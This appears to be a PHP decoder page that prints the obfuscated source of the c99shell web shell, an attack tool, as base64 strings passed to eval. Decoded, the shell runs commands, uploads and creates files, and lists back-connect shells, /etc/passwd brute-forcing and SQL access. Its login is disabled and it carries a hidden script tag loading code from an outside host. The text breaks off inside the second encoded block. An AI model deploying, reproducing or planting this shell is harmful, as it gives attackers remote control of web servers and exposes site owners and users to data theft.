SI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+U2VsZWN0OiA8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQiIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48c2VsZWN0IG5hbWU9ImNtZCI+PD9waHAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+Ijt9ID8+PC9zZWxlY3Q+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC9UQUJMRT4NCjxicj4NCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+DQo8dHI+DQo8U0NSSVBUIFNSQz1odHRwOi8vd3d3LnI1Ny5nZW4udHIveWF6Y2l6L2Npei5qcz48L1NDUklQVD4NCiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1zZWFyY2gmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5TZWFyY2g8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaF9uYW1lIiBzaXplPSIyOSIgdmFsdWU9IiguKikiPiZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgIGNoZWNrZWQ+IC0gcmVnZXhwJm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+PC9wPjwvdGQ+DQogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9dXBsb2FkJmQ9PD9waHAgZWNobyAkdWQ7ID8+Ij48Yj5VcGxvYWQ8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InVwbG9hZCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBNYWtlIERpciA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9Im1rZGlyIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtkaXIiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IE1ha2UgRmlsZSA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9Im1rZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+DQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogR28gRGlyIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImxzIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogR28gRmlsZSA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+DQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iOTkwIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48cCBhbGlnbj0iY2VudGVyIj48Yj4tLVsgYzk5c2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWFib3V0Ij48dT48Yj5wb3dlcmVkIGJ5PC9iPjwvdT48L2E+IENhcHRhaW4gQ3J1bmNoIFNlY3VyaXR5IFRlYW0gfCA8YSBocmVmPSJodHRwOi8vY2N0ZWFtLnJ1Ij48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+aHR0cDovL2NjdGVhbS5ydTwvZm9udD48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvZm9udD4gfCBHZW5lcmF0aW9uIHRpbWU6IDw/cGhwIGVjaG8gcm91bmQoZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQpOyA/PiBdLS08L2I+PC9wPjwvdGQ+PC90cj48L3RhYmxlPg0KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGV4aXQ7DQovL2FkZCBwaHAgdGFncyBiZWZvcmUgdXNhZ2UNCg0KPz4NCg==";eval(base64_decode($QBDB51E25BF9A7F3D2475072803D1C36D));
?>
Did this file decode correctly?
Original Code
<?php
eval(base64_decode($QBDB51E25BF9A7F3D2475072803D1C36D="DQovKg0KRW5jb2RlciA6IEFST0hBIFBIUGVuY29kZXIgdmVyLiAxLjA0DQpXRUIgOiBodHRwOi8vcGhwZW5jb2Rlci5hcm9oYS5zay8NCiovDQo/Pjw/DQovL2FkZCBwaHAgdGFncyBiZWZvcmUgdXNhZ2UNCi8qDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCioNCioJCQkJCWM5OXNoZWxsLnBocCB2LjEuMCBiZXRhICg/PyAyMS4wNS4yMDA1KQ0KKgkJCQkJCQlGcmVld2FyZSBsaWNlbnNlLg0KKgkJCQkJCQkJqSBDQ1RlYU0uDQoqICBjOTlzaGVsbCAtID8/Pz8tPz8/Pz8/Pz8gPz8/Pz8gd3d3LT8/Pz8/Pz8sICI/Pz8/Pz8/Pz8iID8/PyA/Pz8/Pz8uDQoqICA/PyA/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/PyA/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8gPz8/Pz8/Pz86DQogICBodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsDQoqDQoqICBXRUI6IGh0dHA6Ly9jY3RlYW0ucnUNCiogIElDUSBVSU4gIzogNjU2NTU1DQoqIA0KKiAgPz8/Pz8/Pz8/Pz86DQoqICArID8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/ID8/Pz8/Pz8/Pz8gKGZ0cCwgc2FtYmEgKikgPz8/Pz8/Py8/Pz8/Pz8/LCA/Pz8/Pz8/Pz8/DQoqICAgID8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8gPz8/Pz8/ID8gPz8/Pz8NCiogICAgKD8/Pz8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8vPz8/Pz8/Pz8/Pz8/Pz8/ID8/Pz8/IHRhciAqKQ0KKiAgICA/Pz8/Pz8/Pz8/PyA/Pz8/PyAoPz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/PykNCiogICAgbW9kaWZ5LXRpbWUgPyBhY2Nlc3MtdGltZSA/ID8/Pz8/PyA/PyA/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8/Pz8/Pz8gKD8/Pz8uLz8/Py4gPz8/Pz8/Pz8/PyAkZmlsZXN0ZWFsdGgpDQoqICArID8/Pz8/Pz8/Pz8/IFNRTC0/Pz8/Pz8/PyA/PyA/Pz8/Pz8/Pz8/IHBocG15YWRtaW4sDQogICAgID8/Pz8/Pz8/Lz8/Pz8/Pz8/Lz8/Pz8/Pz8/Pz8/Pz8/ID8/Lz8/Pz8/PywgPz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/ID8/Pz8/ID8gbXlzcWwNCiogICsgPz8/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/IHVuaXgtPz8/Pz8/Lg0KKiAgKyA/Pz8/Pz8/ICg/Pz8/Pz8gPz8/Pz8/Pz8/Pz8pID8/Pz8/Pz8/Pz8gc2hlbGwtPz8/Pz8/ICg/Pz8/PyA/Pz8/Pz8/LCA/Pz8/PyA/Pz8/Pz8/Pz8/Pz8/KQ0KKiAgKyA/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8gUEhQLT8/Pz8NCiogICsgPz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8gbWQ1LCB1bml4LW1kNSwgc2hhMSwgY3JjMzIsIGJhc2U2NA0KKiAgKyA/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/ID8/DQoqICArID8/Pz8/Pz8gZnRwLT8/Pz8/Pz8/Pz8/PyA/PyA/Pz8/Pz8gbG9naW47bG9naW4gPz8gL2V0Yy9wYXNzd2QgKD8/Pz8/PyA/Pz8/ID8/Pz8/PyA/IDEvMTAwID8/Pz8/Pz8/PykNCiogICAgPz8/Pz8/Pz8/Pz8/ID8/Pz8/LCA/Pz8/Pz8/Pz8/LCA/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/ID8/Lz8/Pz8/Pz8/PywgPz8/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/IFNRTCkNCiogICsgPz8/Pz8/ICI/Pz8/PyIgaW5jbHVkZTogPz8/Pz8/Pz8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/ID8/ID8gPz8/Pz8/ICg/Pz8/Pz8/Pz8pDQogICAgID8/Pz8/ID8/Pz8/ID8/Pz8/Pz8/ICRzdXJsICg/Pz8/Pz8/ID8/Pz8/PykgPz8/ID8/Pz8/ID8/Pz8/Pz8/Pz8/PyAoPz8/Pz8/Pz8/Pz8/PykgPz8/ID8gPz8/Pz8gY29va2llICJjOTlzaF9zdXJsIiwNCiAgICAgPz8/PyA/Pz8/LT8/Pz8/PyA/Pz8/Pz8/PyAkc2V0X3N1cmwgPyBjb29raWUgInNldF9zdXJsIg0KKiAgKyA/Pz8/Pz8/Pz8/PyAiPz8/Pz8/Pz8/IiAvYmluL2Jhc2ggPz8gPz8/Pz8/Pz8/Pz8/ID8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/PywNCiogICAgPz8/ID8/Pz8/Pz8gYmFjayBjb25uZWN0ICg/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8sID8gPz8/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/PyBOZXRDYXQpLg0KKiAgKyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/LT8/Pz8/Pz8/ID8/Pz8/Pz8NCiogICsgPz8/Pz8/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/ID8/Pz8/PyAoPz8/Pz8gbWFpbCgpKQ0KDQoqICAqIC0gPz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/Pz8gPz8gPz8/Pz8/Pz8/Pz8/IFBIUA0KKg0KKgk/ID8/Pz8/ID8/Pz8/ID8/Pz8/Pz8gPz8/ID8/PyENCioNCiogICA/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Og0KKiAgfiA/Pz8/Pz8/PyBzcWwtPz8/Pz8/Pz8/DQoqICB+ID8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/Pz8/Pz8NCioNCiogIH4tfiA/Pz8/Pz8gPz8/ID8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/LCA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/PyAoPz8/PyA/ID8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8/ISkNCiAgICAgICA/IElDUSBVSU4gIzY1NjU1NSA/Pz8/ID8/Pz8/ID8/Pz8/PyAiZmVlZGJhY2siLCA/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8/Pz8gPyA/Pz8/Pz8/Pz8uDQoqDQoqICBMYXN0IG1vZGlmeTogMjEuMDUuMjAwNQ0KKg0KKiAgqSBDYXB0YWluIENydW5jaCBTZWN1cml0eSBUZWFNLiBDb2RlZCBieSB0cmlzdHJhbQ0KKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoqLw0KDQovL1N0YXJ0aW5nIGNhbGxzDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHtmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7bGlzdCgkdXNlYywgJHNlYykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTt9fQ0KZXJyb3JfcmVwb3J0aW5nKDUpOw0KQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIjsNCmlmICghQG9iX2dldF9jb250ZW50cygpKSB7QG9iX3N0YXJ0KCk7IEBvYl9pbXBsaWNpdF9mbHVzaCgwKTt9DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0NCg0KJHNodmVyID0gIjEuMCBiZXRhICgyMS4wNS4yMDA1KSI7IC8vQ3VycmVudCB2ZXJzaW9uDQovL0NPTkZJR1VSQVRJT04gQU5EIFNFVFRJTkdTDQppZiAoIWVtcHR5KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30NCmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJjOTlzaF9zdXJsIiwkc3VybCk7fQ0KZWxzZSB7JHN1cmwgPSAkX1JFUVVFU1RbImM5OXNoX3N1cmwiXTsgLy9TZXQgdGhpcyBjb29raWUgZm9yIG1hbnVhbCBTVVJMDQp9DQoNCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuDQoNCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlIGFuZCAhJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl0pIHskaW5jbHVkZSA9ICImIjsgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHskdiA9IGV4cGxvZGUoIj0iLCR2KTsgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOyAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOyBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHtpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgeyRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjt9fX0gaWYgKCRfUkVRVUVTVFsic3VybF9hdXRvZmlsbF9pbmNsdWRlIl0pIHskaW5jbHVkZXN0ciAuPSAic3VybF9hdXRvZmlsbF9pbmNsdWRlPTEmIjt9fQ0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybA0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJHRpbWVsaW1pdCA9IDYwOyAvL2xpbWl0IG9mIGV4ZWN1dGlvbiB0aGlzIHNjcmlwdCAoc2Vjb25kcyksIDAgPSB1bmxpbWl0ZWQuDQoNCi8vQXV0aGVudGljYXRpb24NCg0KJGxvZ2luID0gImM5OSI7IC8vbG9naW4NCi8vRE9OJ1QgRk9SR09UIEFCT1VUIENIQU5HRSBQQVNTV09SRCEhIQ0KJHBhc3MgPSAiYzk5IjsgLy9wYXNzd29yZA0KJG1kNV9wYXNzID0gIiI7IC8vbWQ1LWNyeXBlZCBwYXNzLiBpZiBudWxsLCBtZDUoJHBhc3MpDQoNCgkvKkNPTU1FTlQgSVQgRk9SIFRVUk4gT04gQVVUSEVOVElGSUNBVElPTiA+Pj4qLwkkbG9naW4gPSBmYWxzZTsgLy90dXJuIG9mZiBhdXRoZW50aWZpY2F0aW9uDQoNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikNCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBhcmVhIjsgLy9odHRwLWF1dGggbWVzc2FnZS4NCiRhY2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCJodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsXCI+Yzk5c2hlbGwgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7DQoNCiRhdXRvdXBkYXRlID0gZmFsc2U7IC8vQXV0b21hdGljIHVwZGF0aW5nPw0KJHVwZGF0ZW5vdyA9IGZhbHNlOyAvL0lmIHRydWUsIHVwZGF0ZSBub3cNCiRjOTlzaF91cGRhdGVmdXJsID0gImh0dHA6Ly9jY3RlYW0ucnUvcmVsZWFzZXMvdXBkYXRlL2M5OXNoZWxsLyI7IC8vVXBkYXRlIHNlcnZlcg0KDQokZmlsZXN0ZWFsdGggPSBmYWxzZTsgLy9pZiB0cnVlLCBkb24ndCBjaGFuZ2UgbW9kaWZ5JmFjY2Vzcy10aW1lDQoNCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5Pd25lZCBieSBoYWNrZXI8L2I+PC9jZW50ZXI+IjsNCgkJLyogSWYgeW91IHB1Ymxpc2ggZnJlZSBzaGVsbCBhbmQgeW91IHdpc2gNCgkJYWRkIGxpbmsgdG8geW91ciBzaXRlIG9yIGFueSBvdGhlciBpbmZvcm1hdGlvbiwNCgkJcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBkaXJlY3RvcnkNCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0RpcmVjdG9yeSBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7IC8vRGVmYXVsdCBlLW1haWwgZm9yIHNlbmRpbmcgbG9ncw0KDQokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcNCiRzb3J0X3NhdmUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzYXZlIHNvcnRpbmctdHlwZS4NCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KLy8gIGFycmF5KA0KLy8gICAie2FjdGlvbjF9Ij0+YXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCiRmdHlwZXMgID0gYXJyYXkoDQogImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAiaW5pIj0+YXJyYXkoImluaSIsImluZiIpLA0KICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAic2RiIj0+YXJyYXkoInNkYiIpLA0KICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCg0KLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuDQovLyAgYXJyYXkoDQovLyAgIHN0cmluZyAiY29tbWFuZHtpfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksD